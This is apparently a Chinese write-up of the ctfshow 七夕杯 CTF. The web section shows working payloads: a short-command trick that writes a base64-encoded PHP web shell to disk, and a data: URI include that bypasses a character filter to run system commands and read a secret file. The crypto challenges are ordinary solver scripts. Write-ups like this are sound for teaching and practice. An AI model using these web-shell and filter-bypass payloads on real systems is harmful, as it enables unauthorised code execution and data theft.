首页 比赛

# WEB

# 签到

位数可控字符 rce

echo PD9waHAgZXZhbCgkX0dFVFsxXSk7|base64 -d>1.php

>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0

# easy_calc

<?php
if(check($code)){
    eval('$result='."$code".";");
    echo($result);    
}
function check(&$code){
    $num1=$_POST['num1'];
    $symbol=$_POST['symbol'];
    $num2=$_POST['num2'];
    if(!isset($num1) || !isset($num2) || !isset($symbol) ){
        
        return false;
    }
    if(preg_match("/!|@|#|\\$|\%|\^|\&|\(|_|=|{|'|<|>|\?|\?|\||`|~|\[/", $num1.$num2.$symbol)){
        return false;
    }
    if(preg_match("/^[\+\-\*\/]$/", $symbol)){
        $code = "$num1$symbol$num2";
        return true;
    }
    return false;
}
从题目代码来看，是输入 3 个值，分别是 num1、符号值、num2
然后过滤了一大堆符号，把三个值拼接而成
显而易见用 include 这个
num1=include "data:ctfshow&symbol=/&num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
传参
1=system("ls /")
发现 secret
1=system("cat /se*")
也可以直接用这个
num1=include "data:ctfshow&symbol=/&num2=b;base64,PD9waHAgc3lzdGVtKCdjYXQgL3NlY3JldCcpOyA/Pg";

# Crypto
# Lucky 𝟕
# 题目
from Crypto.Util.number import bytes_to_long, getPrime
from secret import flag
l = len(flag)
assert l == 56
x = bytes_to_long(flag[:l//2])
y = bytes_to_long(flag[l//2:])
p = getPrime(1024)
e = 0x10001
x = pow(x, e, p)
y = pow(y, e, p)
a = (7 * x + x * y + 77 * y ** 7) % p
b = (x ** 7 + 777 * y) % p
print(f'p = {p}')
print(f'a = {a}')
print(f'b = {b}')
# p = 160676801612994301361202519503059426958636739446670462398261976532859847492256822690640058297338763725128097587993428329580105931247817467950370089691908132361316857330836120708767594061772979871315614755470773991633234068651435625372887767258609941208307491359777513843529144444836847722372845148836203335627
# a = 30318995909014771647618268716833486449002423009996671727903532973647046764624121316716790986592523978549131384964872198795285872746623966910764159262479160147876027157581577141632378119375701270068263640642243000011932466519579133761464923463402462812787531220639360431295348786697861069940729757964584951972
# b = 51036630170491152581994259808984114372634216659979376101433163181132141957563047348137651942358538069256102718534893846618166559129391336639526588292370462975735415885732360576961407017238385374280336346614960555565504032093702784952402038043052556719843691506943605133036720410419999467125928578673380637828
sage 求解
# exp
# Sage
from sage.matrix.matrix2 import Matrix
from Crypto.Util.number import long_to_bytes
def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))
p = 160676801612994301361202519503059426958636739446670462398261976532859847492256822690640058297338763725128097587993428329580105931247817467950370089691908132361316857330836120708767594061772979871315614755470773991633234068651435625372887767258609941208307491359777513843529144444836847722372845148836203335627
a = 30318995909014771647618268716833486449002423009996671727903532973647046764624121316716790986592523978549131384964872198795285872746623966910764159262479160147876027157581577141632378119375701270068263640642243000011932466519579133761464923463402462812787531220639360431295348786697861069940729757964584951972
b = 51036630170491152581994259808984114372634216659979376101433163181132141957563047348137651942358538069256102718534893846618166559129391336639526588292370462975735415885732360576961407017238385374280336346614960555565504032093702784952402038043052556719843691506943605133036720410419999467125928578673380637828
e = 0x10001
P.<x, y> = PolynomialRing(Zmod(p))
f1 = 7 * x + x * y + 77 * y ** 7 - a
f2 = x ** 7 + 777 * y - b
# g=f1.resultant(f2, y)
# roots = g.univariate_polynomial().roots()
hx = resultant(f1, f2, y)
rx = hx.univariate_polynomial().roots()
x, _ = zip(*rx)
y = [((b - i^7) * inverse_mod(777, p)) % p for i in x]
d = inverse_mod(e, p-1)
for i in range(len(x)):
    m1 = int(pow(x[i], d, p))
    m2 = int(pow(y[i], d, p))
    if(b'ctfshow' in long_to_bytes(m1)+long_to_bytes(m2)):
        print(long_to_bytes(m1)+long_to_bytes(m2))
# 77XSES
# 题目
from Crypto.Util.Padding import pad
from secret import flag
S = [
    0x11,0x79,0x76,0x8b,0xb8,0x40,0x02,0xec,0x52,0xb5,0x78,0x36,0xf7,0x19,0x55,0x62,
    0xaa,0x9a,0x34,0xbb,0xa4,0xfc,0x73,0x26,0x4b,0x21,0x60,0xd2,0x9e,0x10,0x67,0x2c,
    0x32,0x17,0x87,0x1d,0x7e,0x57,0xd1,0x48,0x3c,0x1b,0x3f,0x37,0x1c,0x93,0x16,0x24,
    0x13,0xe1,0x1f,0x91,0xb3,0x81,0x1e,0x3d,0x5b,0x6c,0xb9,0xf2,0x83,0x4c,0xd5,0x5a,
    0xd0,0xe7,0xca,0xed,0x29,0x90,0x6f,0x8f,0xe4,0x2f,0xab,0xbe,0xfe,0x07,0x71,0x6b,
    0x59,0xa3,0x8a,0x5e,0xd7,0x30,0x2a,0xa0,0xac,0xbd,0xd4,0x08,0x4f,0x06,0x31,0x72,
    0x0d,0x9f,0xad,0x0b,0x23,0x80,0xe6,0xda,0x75,0xa8,0x18,0xe2,0x04,0xeb,0x8e,0x15,
    0x64,0x77,0x2b,0x03,0xa1,0x5d,0xb4,0xb1,0xf0,0x97,0xe3,0xe8,0xb0,0x05,0x86,0x38,
    0x56,0xef,0xfa,0x43,0x94,0xcb,0xb6,0x69,0x5f,0xc7,0x27,0x7c,0x44,0x8d,0xf3,0xc8,
    0x99,0xc2,0xbc,0x82,0x65,0xdb,0xaf,0x51,0x20,0x7f,0xc3,0x53,0xf4,0x33,0x4d,0x50,
    0xee,0xc5,0x12,0x63,0x9b,0x7b,0x39,0x45,0xa9,0x2d,0x54,0xdc,0xdf,0xd6,0xfd,0xa7,
    0x5c,0x0c,0xe9,0xb2,0xa2,0xc1,0x49,0x00,0xae,0xea,0x58,0x6d,0xce,0x88,0xf8,0x96,
    0xde,0x1a,0x0f,0x89,0xd3,0x7a,0x46,0x22,0xc6,0xf9,0xd9,0x84,0x2e,0x6a,0xc9,0x95,
    0xa5,0xdd,0xe0,0x74,0x25,0xb7,0xfb,0xbf,0x9c,0x4a,0x92,0x0e,0x09,0x9d,0xf6,0x70,
    0x61,0x66,0xc0,0xcf,0x35,0x98,0xf5,0x68,0x8c,0xd8,0x01,0x3e,0xba,0x6e,0x41,0xf1,
    0xa6,0x85,0x3a,0x7d,0xff,0x0a,0x14,0xe5,0x47,0xcd,0x28,0x3b,0xcc,0x4e,0xc4,0x42
]
def xor(block):
    for i in range(4):
        for j in range(4):
            block[i][j] ^= block[(i + 2) % 4][(j + 1) % 4]
def add(block):
    for i in range(4):
        for j in range(4):
            block[i][j] += 2 * block[(i * 3) % 4][(i + j) % 4]
            block[i][j] &= 0xFF
def sub(block):
    for i in range(4):
        for j in range(4):
            block[i][j] = S[block[i][j]]
def rotate(row):
    row[0], row[1], row[2], row[3] = row[3], row[1], row[2], row[0]
def transpose(block):
    copyBlock = [[block[i][j] for j in range(4)] for i in range(4)]
    for i in range(4):
        for j in range(4):
            block[i][j] = copyBlock[j][i]
def swap(block):
    block[0], block[2] = block[2], block[0]
    block[3], block[2] = block[2], block[3]
    block[0], block[1] = block[1], block[0]
    block[3], block[0] = block[3], block[0]
    block[2], block[1] = block[1], block[2]
    block[2], block[0] = block[0], block[2]
    rotate(block[0]); rotate(block[0])
    rotate(block[1]); rotate(block[1]); rotate(block[1])
    rotate(block[2])
    rotate(block[3]); rotate(block[3]); rotate(block[3])
    for i in range(3):
        for j in range(4):
            ii = ((block[i][j] & 0XFC) + i) % 4
            jj = (j + 3) % 4
            block[i][j], block[ii][jj] = block[ii][jj], block[i][j]
    s = 0
    for i in range(4):
        for j in range(4):
            s += block[i][j]
    if s % 2: 
        transpose(block)
def round(block):
    sub(block)
    add(block)
    swap(block)
    xor(block)
def encryptBlock(block):
    mat = [[block[i * 4 + j] for j in range(4)] for i in range(4)]
    for _ in range(77):
        round(mat)
    return [mat[i][j] for i in range(4) for j in range(4)]
def encrypt(msg):
    msg = list(pad(msg, 16))
    enc = []
    for i in range(0, len(msg), 16):
        enc += encryptBlock(msg[i : i + 16])
    return bytes(enc)
print(encrypt(flag).hex())
# f000ae7e94f48ef99da6390f99a08701cf16d63596bebac938ec36004d54b73d1712c2f38926c3bcc5e5f42c4d55b57ef1070a7b443677b3cc4372d9a41a4775
简单的逆一下 就好了
# exp
from Crypto.Util.Padding import pad
from Crypto.Util.number import *
S = [
    0x11,0x79,0x76,0x8b,0xb8,0x40,0x02,0xec,0x52,0xb5,0x78,0x36,0xf7,0x19,0x55,0x62,
    0xaa,0x9a,0x34,0xbb,0xa4,0xfc,0x73,0x26,0x4b,0x21,0x60,0xd2,0x9e,0x10,0x67,0x2c,
    0x32,0x17,0x87,0x1d,0x7e,0x57,0xd1,0x48,0x3c,0x1b,0x3f,0x37,0x1c,0x93,0x16,0x24,
    0x13,0xe1,0x1f,0x91,0xb3,0x81,0x1e,0x3d,0x5b,0x6c,0xb9,0xf2,0x83,0x4c,0xd5,0x5a,
    0xd0,0xe7,0xca,0xed,0x29,0x90,0x6f,0x8f,0xe4,0x2f,0xab,0xbe,0xfe,0x07,0x71,0x6b,
    0x59,0xa3,0x8a,0x5e,0xd7,0x30,0x2a,0xa0,0xac,0xbd,0xd4,0x08,0x4f,0x06,0x31,0x72,
    0x0d,0x9f,0xad,0x0b,0x23,0x80,0xe6,0xda,0x75,0xa8,0x18,0xe2,0x04,0xeb,0x8e,0x15,
    0x64,0x77,0x2b,0x03,0xa1,0x5d,0xb4,0xb1,0xf0,0x97,0xe3,0xe8,0xb0,0x05,0x86,0x38,
    0x56,0xef,0xfa,0x43,0x94,0xcb,0xb6,0x69,0x5f,0xc7,0x27,0x7c,0x44,0x8d,0xf3,0xc8,
    0x99,0xc2,0xbc,0x82,0x65,0xdb,0xaf,0x51,0x20,0x7f,0xc3,0x53,0xf4,0x33,0x4d,0x50,
    0xee,0xc5,0x12,0x63,0x9b,0x7b,0x39,0x45,0xa9,0x2d,0x54,0xdc,0xdf,0xd6,0xfd,0xa7,
    0x5c,0x0c,0xe9,0xb2,0xa2,0xc1,0x49,0x00,0xae,0xea,0x58,0x6d,0xce,0x88,0xf8,0x96,
    0xde,0x1a,0x0f,0x89,0xd3,0x7a,0x46,0x22,0xc6,0xf9,0xd9,0x84,0x2e,0x6a,0xc9,0x95,
    0xa5,0xdd,0xe0,0x74,0x25,0xb7,0xfb,0xbf,0x9c,0x4a,0x92,0x0e,0x09,0x9d,0xf6,0x70,
    0x61,0x66,0xc0,0xcf,0x35,0x98,0xf5,0x68,0x8c,0xd8,0x01,0x3e,0xba,0x6e,0x41,0xf1,
    0xa6,0x85,0x3a,0x7d,0xff,0x0a,0x14,0xe5,0x47,0xcd,0x28,0x3b,0xcc,0x4e,0xc4,0x42
]
def xor(block):
    for i in range(3,-1,-1):
        for j in range(3,-1,-1):
            block[i][j] ^= block[(i + 2) % 4][(j + 1) % 4]
def add(block):
    for i in range(3,-1,-1):
        for j in range(3,-1,-1):
            if(i==0):
                if(block[i][j]%3==0):
                    block[i][j]//=3
                else:
                    block[i][j]|=256
                    if (block[i][j] % 3 == 0):
                        block[i][j] //= 3
                    else:
                        block[i][j] ^=768
                        block[i][j] //= 3
            else:
                block[i][j] -= 2 * block[(i * 3) % 4][(i + j) % 4]
            block[i][j] &= 0xFF
def sub(block):
    for i in range(4):
        for j in range(4):
            block[i][j] = S.index(block[i][j])
def rotate(row):
    row[0], row[1], row[2], row[3] = row[3], row[1], row[2], row[0]
def transpose(block):
    copyBlock = [[block[i][j] for j in range(4)] for i in range(4)]
    for i in range(4):
        for j in range(4):
            block[i][j] = copyBlock[j][i]
def swap(block):
    s = 0
    for i in range(4):
        for j in range(4):
            s += block[i][j]
    if s % 2:
        transpose(block)
    for i in range(2,-1,-1):
        for j in range(3,-1,-1):
            ii = ((block[i][j] & 0XFC) + i) % 4
            jj = (j + 3) % 4
            block[i][j], block[ii][jj] = block[ii][jj], block[i][j]
    rotate(block[3])
    rotate(block[3])
    rotate(block[3])
    rotate(block[2])
    rotate(block[1])
    rotate(block[1])
    rotate(block[1])
    rotate(block[0])
    rotate(block[0])
    block[2], block[0] = block[0], block[2]
    block[2], block[1] = block[1], block[2]
    block[3], block[0] = block[3], block[0]
    block[0], block[1] = block[1], block[0]
    block[3], block[2] = block[2], block[3]
    block[0], block[2] = block[2], block[0]
def round(block):
    xor(block)
    swap(block)
    add(block)
    sub(block)
def encryptBlock(block):
    mat = [[block[i * 4 + j] for j in range(4)] for i in range(4)]
    for _ in range(77):
        round(mat)
    return [mat[i][j] for i in range(4) for j in range(4)]
def encrypt(msg):
    msg = list(msg)
    enc = []
    for i in range(0, len(msg), 16):
        enc += encryptBlock(msg[i : i + 16])
    return bytes(enc)
a=0xf000ae7e94f48ef99da6390f99a08701cf16d63596bebac938ec36004d54b73d1712c2f38926c3bcc5e5f42c4d55b57ef1070a7b443677b3cc4372d9a41a4775
a=long_to_bytes(a)
print(encrypt(a))
#ctfshow{le4RNin9_h0w_70_revER5e_5IMple_Se5_i5_iN7Ere57InG}
# 优势在我
# 题目
from Crypto.Util.number import *
import hashlib
import sys
from private import d
def pr(x, end="\n"):
    sys.stdout.write(str(x)+end)
    sys.stdout.flush()
BANNER = """
比赛名称：七夕杯
题目难度：优势在我
比赛奖励：排名1：华为手环6_Pro+定制夏日T-shirt
排名2-10：定制夏日T-shirt
比赛时间：2022年8月4日(周四) 18时整
比赛时长：24小时
地址：https://www.ctf.show/challenges
投稿邮箱：ctfshow@163.com
投稿奖励：绿盟扩展坞一个
"""
N = 18546721845979927569500143751660105533561486316231224465080625317376238264944740878457193385226698959802719372533690834284860737851929107163579187879895388120942312652954549671398264315985738386063687826049340153475764762320419809887400141782272319772175613926330746384510813184415900331770119033044622690940477810277396517358312757248120240055407842257982535105406966617903737782220404404644459553334905091694987679788339901767262741660223359618116200505397580036748964773373441655648565481823043475551779287949673519191553190302422175246969165641890331993628578551062334369824625164536808726394693221961254696074691
e = 65537
p = 24074624372939710957902553829568388349796810585932597965247721110129830468800036256026076982213498961372616008101708874099574700088150475222639563817914865052788850184089778132465415340980378135746900061263517304153485433985299953682148733981366808528082636204740025363446729188464380931250501761664305346381138286856186476986484913576109916879190154878781616175599052154216615394032414499234529973797040464698872321982946683153298157064531262284470661150270186224788419122959403896437988552792877168892664837002108590144855389176310488655364026719942320436915792611600545729690463037233338070404315644982404557646573
g = 2
with open("flag.txt", "rb") as f:
    flag = f.read()
flag = bytes_to_long(flag)
assert flag < N
def strange_tales(x):
    msg1 = b"Never gonna make you cry" + x
    msg2 = b"Never gonna say goodbye" + x
    return bytes_to_long(hashlib.sha512(msg1).digest() + hashlib.sha512(msg2).digest())
def full_of_foolish_talk(x):
    k = getRandomRange(0, p - 1)
    r = pow(g, k, p)
    e = strange_tales(str(r).encode() + b"Never gonna tell a lie and hurt you")
    s = (k - x * e) % (p - 1)
    return r, s
pr(BANNER)
pr(f"We're no strangers to love: {pow(flag, e, N)}")
pr("You know the rules and SO DO I")
while True:
    pr("> ", end="")
    c = int(input())
    m = pow(c, d, N)
    r, s = full_of_foolish_talk(m)
    pr(f"Never gonna give you up: {r}")
    pr(f"Never gonna let you down: {s}")